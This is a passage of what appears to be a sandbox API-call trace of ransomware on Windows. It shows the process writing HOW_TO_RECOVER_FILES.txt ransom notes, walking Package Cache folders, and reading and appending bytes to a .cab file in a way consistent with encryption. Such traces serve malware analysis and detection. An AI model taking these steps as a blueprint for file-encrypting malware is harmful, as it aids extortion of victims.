dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0085.288] GetFileType (hFile=0x79c) returned 0x1 [0085.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4b0) returned 1 [0085.288] GetFileType (hFile=0x79c) returned 0x1 [0085.289] WriteFile (in: hFile=0x79c, lpBuffer=0x3405190*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59d608, lpOverlapped=0x0 | out: lpBuffer=0x3405190*, lpNumberOfBytesWritten=0x1f59d608*=0x5d0, lpOverlapped=0x0) returned 1 [0085.290] CloseHandle (hObject=0x79c) returned 1 [0085.290] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x68 [0085.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0085.290] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x79c [0085.291] GetFileType (hFile=0x79c) returned 0x1 [0085.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0085.291] GetFileType (hFile=0x79c) returned 0x1 [0085.291] WriteFile (in: hFile=0x79c, lpBuffer=0x3408a88*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3408a88*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0085.292] CloseHandle (hObject=0x79c) returned 1 [0085.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0085.292] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpFilePart=0x0) returned 0x4f [0085.293] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.293] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0085.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0085.294] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0085.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0085.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0085.294] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpFilePart=0x0) returned 0x4f [0085.294] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.294] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0085.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0085.295] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0085.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0085.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0085.295] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0085.295] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.295] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0085.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0085.296] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0085.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0085.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0085.296] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", lpFilePart=0x0) returned 0x58 [0085.296] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.296] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.297] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0085.297] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0085.297] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0085.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0085.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0085.297] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6f [0085.297] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.297] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.298] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0085.298] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0085.298] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0085.298] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0085.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0085.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0085.298] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6f [0085.298] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0085.298] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.299] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0085.299] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0085.299] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0085.299] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0085.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0085.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0085.299] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0085.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0085.299] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x3435820 | out: lpFileInformation=0x3435820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257)) returned 1 [0085.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0085.299] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0085.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0085.300] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0085.300] GetFileType (hFile=0x79c) returned 0x1 [0085.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0085.300] GetFileType (hFile=0x79c) returned 0x1 [0085.300] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0085.300] ReadFile (in: hFile=0x79c, lpBuffer=0x3435cf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x3435cf8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0085.301] CloseHandle (hObject=0x79c) returned 1 [0085.302] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x78 [0085.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0085.302] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0085.302] GetFileType (hFile=0x79c) returned 0x1 [0085.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0085.302] GetFileType (hFile=0x79c) returned 0x1 [0085.302] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x165257 [0085.302] WriteFile (in: hFile=0x79c, lpBuffer=0x34375d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x34375d0*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0085.304] CloseHandle 